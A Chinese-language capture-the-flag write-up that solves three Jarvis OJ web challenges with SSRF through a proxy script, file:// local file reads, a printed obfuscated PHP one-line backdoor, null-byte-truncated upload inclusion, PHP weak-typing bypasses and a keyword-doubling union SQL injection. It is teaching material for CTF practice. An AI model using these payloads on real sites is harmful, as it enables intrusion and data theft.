Jarviso Web 部分Write Up

Jarvisoj平台部分WriteUP

1.菜刀

http://web.jarvisoj.com:32782

考点:SSRF,文件包含(非预期)

主页只有一张菜刀图片和管理员登陆链接,点击管理员登陆,跳转至http://web.jarvisoj.com:32782/admin,提示“you are not admin”,遂查看源码,发现提示:

<!--<script>alert('admin ip is 202.5.19.128')</script>-->

推测服务器通过ip地址识别管理员身份。
返回首页,查看源码,发现菜刀图片链接:

proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg

通过proxy.php可访问外部链接,尝试

proxy.php?url=http://www.baidu.com

成功返回baidu页面。
尝试文件包含:

http://web.jarvisoj.com:32782/proxy.php?url=php://filter/read=convert.base64-encode/resource=index.php

失败。
访问 http://202.5.19.128/,返回403禁止访问,同时说明该ip存在web服务。综合以上信息,构造payload

http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

返回“you are closing”

burp爆破网/admin/,发现robots.txt文件

url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/robots%2etxt

返回:

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

查看

url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php.txt

发现一句话木马

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

本地运行,提示

Warning: assert(): Assertion "eval($_POST[360])" failed in /Applications/MAMP/htdocs/tor.php on line 1  

一句话木马参数为360,发送post数据:“360=phpinfo();”,直接返回了FLAG

flag:CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}

非预期解

使用file://伪协议读本地文件,首先尝试file:///etc/passwd

http://web.jarvisoj.com:32782/proxy.php?url=file:///etc/passwd

返回/etc/passwd,说明file://被过滤,尝试大小写绕过

http://web.jarvisoj.com:32782/proxy.php?url=File:///etc/passwd

回显成功。能够进行本地文件读取,考虑怎么读到之前发现的/admin/目录,尝试使参数报错,暴出绝对路径。

http://web.jarvisoj.com:32782/proxy.php?url=aa

返回报错信息:Notice: Undefined offset: 2 in /opt/lampp/htdocs/proxy.php on line 53,由此获得网站根目录,拼接admin目录:/opt/lampp/htdocs/admin/index.php和index.html

http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/index.php

返回you are closing。同样,爆破目录,发现robot.txt

http://web.jarvisoj.com:32782/proxy.php?url=File:///opt/lampp/htdocs/admin/robots.txt

返回:User-agent: * Disallow:trojan.php Disallow:trojan.php.txt
之后做法与预期解相同。

2.Easy Gallery

http://web.jarvisoj.com:32785

考点:文件上传,文件包含,%00截断后缀

a. Submit页面

只允许上传图片,上传正常jpg文件,通过burp拼接php语句,成功上传。

b. view页面

view页面url:

http://web.jarvisoj.com:32785/index.php?page=view

POST输入id和type后,自动跳转到show页面,可正常显示图片。

http://web.jarvisoj.com:32785/show.php?id=1554777150&type=jpg

网页源码中,找到文件路径

<img src="uploads/1554777150.jpg"/>

可看出上传成功,且知道文件名,可直接通过该链接http://web.jarvisoj.com:32785/uploads/1554777150.jpg访问图片,但无法用当做php文件解析。

考虑两个点:
1.通过view页面url使用php://filter等方法直接读文件
2.通过文件包含解析“/uploads/1554777150.jpg”中的php代码。

尝试文件包含读源码

http://web.jarvisoj.com:32785/index.php?page=php://filter/read=convert.base64-encode/resource=./index

Cross domain forbidden!

尝试目录穿越:

http://web.jarvisoj.com:32785/index.php?page=../../../../../../etc/passwd

Warning: fopen(../../../../../../etc/passwd.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!

这里曝出了网站根目录,同时发现$GET[page]参数被拼接了.php后缀名。
再次尝试直接读源码:

http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index

You should not do this!

尝试读取上传的jpg

http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index/uploads/1554777150.jpg  

Warning: fopen(uploads/1554777150.jpg.php): failed to open stream: No such file or directory in /opt/lampp/htdocs/index.php on line 24
No such file!

文件路径被拼接为:uploads/1554777150.jpg.php,想到用%00截断php后缀:

http://web.jarvisoj.com:32785/index.php?page=/opt/lampp/htdocs/index/uploads/1554777150.jpg%00

You should not do this!

发现返回内容与直接读取index.php相同,猜测是否使php标签被禁?
上传正常的jpg文件,可以访问成功,验证了php标签被禁的想法,遂更换php标签格式为:

<script language='php'>phpinfo();</script>

并通过%00截断后缀名实现文件包含

/index.php?page=uploads/1554781165.jpg%00

得到flag
CTF{upl0ad_sh0uld_n07_b3_a110wed}

3.Work Harder

http://web.jarvisoj.com:32780/index.php?id=1

考点:php弱类型,file_get_contents(php://input,r)读取POST数据,%00%00绕过strlen长度判断,sql注入bypass

查看源码,发现index.phps文件,经整理内容如下:

<?php
     if(!$_GET['id']) 
     { 
        header('Location: index.php?id=1'); 
        exit(); 
     } 
     $id=$_GET['id']; 
     $a=$_GET['a'];
     $b=$_GET['b']; 
     if(stripos($a,'.')) 
     { 
        echo 'Hahahahahaha'; 
        return ;
     } 
     $data = @file_get_contents($a,'r');
     if(    $data=="1112 is a nice lab!"   
        and $id==0 
        and strlen($b)>5 
        and eregi("111".substr($b,0,1),"1114") 
        and substr($b,0,1)!=4) 
     { 
        require("flag.txt"); 
     } 
     else { print "work harder!harder!harder!"; } 
?> 

分析源码,当上传参数满足if条件时,能够得到Flag,代码中涉及比较时用的都是“==”,可能存在php弱类型漏洞。 有id、a、b 3个参数需要绕过判断。
在本地搭建环境,输出变量值做测试:

a. id与整数0比较,可直接传字符串绕过

?id=abc

b. 参数a被用作file_get_contents函数的参数,读取的文件内容需为指定字符串,使用php://input绕过

&a=php://input

[postdata] 1112 is a nice lab!

c. 参数b绕过,b为空即可绕过eregi和substr两个判断,但是strlen($b)>5无法绕过,尝试传长度>5的数组,返回值为null。
查找php手册中substr函数说明,发现提示

Note:
strlen() returns the number of bytes rather than the number of characters in a string.

strlen函数计算的是字节数,是否可以用%00和%0a特殊字符绕过,尝试

b=%00%00%00%00%00%00

成功。于是组合payload:

POST /index.php?id=abc&b=%00%00%00%00%00%00&a=php://input

1112 is a nice lab!

返回提示信息:

Come ON!!! {/^HT2mCpcvOLf}

Get请求/^HT2mCpcvOLf路径,跳转至 http://web.jarvisoj.com:32780/%5EHT2mCpcvOLf/index.php?id=1,加单引号测试,返回sql查询语句如下:

SELECT * FROM content WHERE id=1‘

使用burp爆破waf,使用双写绕过关键词过滤,使用/*1*/绕过空格过滤,使用union注入。最后的payload如下:

http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=-1/*1*/ununionion/*1*/selselectect/*1*/1,2,group_concat(id,context,title)/*1*/frfromom/*1*/content#

得到flag:CTF{Fin4lly_U_got_i7_C0ngRatulation5}

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,717评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,501评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,311评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,417评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,500评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,538评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,557评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,310评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,759评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,065评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,233评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,909评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,548评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,172评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,420评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,103评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,098评论 2 352

推荐阅读更多精彩内容

  • 声明:语言表达能力有限,本问仅供学习参考,大佬勿喷! 本文主要记录DDCTF2019中部分web赛题的解题过程,仅...
    zzqsmile阅读 575评论 0 1
  • 签到2 地址:来源:网络攻防大赛 说了输入zhimakaimen,开始输入没认真看,只能输入10个数字,可是zhi...
    JasonChiu17阅读 4,739评论 0 9
  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,502评论 0 2
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,826评论 0 9
  • 抽空整理了一下CGCTF平台的Web题的writeup。 0x01 签到题(题目地址:http://chinal...
    ch3ckr阅读 12,986评论 0 6